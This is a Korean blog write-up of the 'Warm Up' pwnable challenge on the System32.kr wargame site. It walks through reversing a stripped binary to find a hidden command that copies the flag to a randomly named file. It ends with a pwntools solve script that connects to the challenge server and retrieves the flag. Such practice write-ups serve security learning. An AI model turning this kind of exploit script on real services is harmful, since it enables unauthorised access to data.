<Wargame & CTF>/System32.kr

[System32.kr] Warm Up

gosoeungduk 2019. 12. 21. 06:13
반응형

Warm Up

#pwnable #system32.kr #file descriptor


새로운 워게임 사이트를 찾았다!

암호학 위주여서 매우 관심이 간다 ㅎㅎ

첫 단추를 어떤 문제로 풀어볼까 하다가 Warm Up 이라는 pwnable 문제를 찾았다.

파일 디스크립터를 이용하는 문제 같다.

처음에는 파일 디스크립터를 overwrite 하는 종류의 문제인가 했으나 의외로 간단했다.

다만 strip 이 적용된 상태라 glibc 함수들을 일일히 인지하고 복구하는 과정에 약간의 난항이 있다.

우선 위처럼 메뉴가 주어지고 특정 파일을 open하고 읽거나 삭제할 수 있다.

디컴파일 해보니 31337 이라는 숨겨진 커맨드가 있었다.

이 함수는 /home/strange_file/flag 파일내용을 임의의 string 테이블에서 랜덤한 10문자를 뽑아낸 새 파일에 쓰는 역할을 한다.


flag 파일 내용을 새 파일에 옮겨쓰는 모습

일단 이 과정을 거쳤으면 바로 open 해서 read 하면 플래그가 나올 것 같지만...

READ 함수 내부의 위와 같은 access 함수에서 바로 쳐내버린다.

access 함수는 인자가 있는 함수인데 안보여서 어셈블러로 보았더니, 첫 번째 인자로 특정 bss영역 주소와 두 번째 인자로 파일의 존재여부(?)의 플래그인 4가 있는 것을 알 수 있었다.

access 함수는 파일에 접근 가능할 시, 0을 리턴하는데

SECRET 함수 중반부를 보면 그 bss 영역에 새 파일 경로를 다시한번 적어주는 기이한 로직을 갖는 것을 알 수 있다.

이 때문에 READ 함수의 access에서는 성공에 대한 리턴 값 0을 반환하고, SECRET 함수를 거친 이후에 바로 새 파일을 열어볼 수 없는 것이다.

고로, SECRET으로 flag파일의 내용을 받아오고, 다시 nc를 붙어서 그 만들어진 파일을 새로 open하면 된다.


# goseungduk
# system32.kr - warm up

from pwn import *
#s=process("./problem")
s=remote("112.161.27.61",30000)
d=s.recvuntil("> ")
s.sendline("31337")
d=s.recvuntil("files/")
flag=s.recv(10)
log.info(flag)
s.recv()
p=remote("112.161.27.61",30000)
d=p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.send(flag)
p.recvuntil("[!] CLEAR PATH")
p.sendline("2")
p.interactive()


Result

.
.
.
.
.

Contact : a42873410@gmail.com

반응형

'<Wargame & CTF> > System32.kr' 카테고리의 다른 글

[System32.kr] RSA101  (0) 2020.01.04